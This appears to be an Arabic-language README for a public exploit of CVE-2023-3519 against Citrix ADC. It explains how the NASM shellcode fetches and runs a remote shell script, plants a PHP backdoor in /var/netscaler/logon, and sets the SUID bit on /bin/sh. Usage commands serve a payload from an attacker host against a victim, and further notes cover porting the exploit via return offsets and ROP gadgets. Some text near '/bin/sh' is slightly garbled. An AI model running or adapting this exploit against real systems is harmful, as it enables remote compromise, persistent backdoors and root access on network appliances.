passwa11/cve-2023-3519استغلال Python لـ CVE-2023-3519 يستهدف Citrix ADC مع shellcode NASM مخصص، ونشر باب خلفي PHP، وتصعيد الامتيازات SUID.
يستخدم هذا الاستغلال عناوين وشيلكود لإصدار Citrix VPX 13.1-48.47. للاطلاع على الشرح الكامل، انقر هنا.
يلزم وجود NASM لبناء الشيلكود.
$ sudo apt install nasm
الشيلكود المضمن سيقوم بتنزيل وتشغيل سكربت شل من خادم http(s) بعيد. يأخذ السكربت 3 وسائط: المضيف الهدف، المنفذ الهدف، وعنوان URL لحمولة سكربت شل. يتضمن هذا المستودع حمولة مثال تقوم بتشغيل id و uname -a قبل التنظيف الذاتي.
$ echo 'id' > a
$ python3 -m http.server &
$ python3 cve-2023-3519.py victim.com 443 attack.er:8000/a
يجب أن يكون عنوان URL قصيرًا بما يكفي ليتسع في مخزن الشيلكود المؤقت، وستتلقى تحذيرًا إذا كان طويلًا جدًا.
سينشئ الشيلكود بابًا خلفيًا PHP في /var/netscaler/logon/a.php ويضبط بت SUID على . تُظهر حمولة المضمنة مثالًا على التنظيف التلقائي لهذه الآثار. لاحظ أيضًا أن الشيلكود لا يغلق واصفات الملفات الخاصة به، لذا قد يؤدي الاستغلال المتكرر المفرط إلى استنزاف الموارد.
/bin/shshبالنسبة لأهداف Citrix المستندة إلى FreeBSD، تحتاج فقط إلى إيجاد 3 قيم: إزاحة مؤشر الإرجاع المحفوظ، وأداة ROP jmp rsp (أو ما يعادلها، مثل push rsp; ret;)، والعنوان الذي يجب القفز إليه لتجنب الانهيار. هذه المعلمات جميعها مشفرة بالقرب من أعلى ملف cve-2023-3519.py.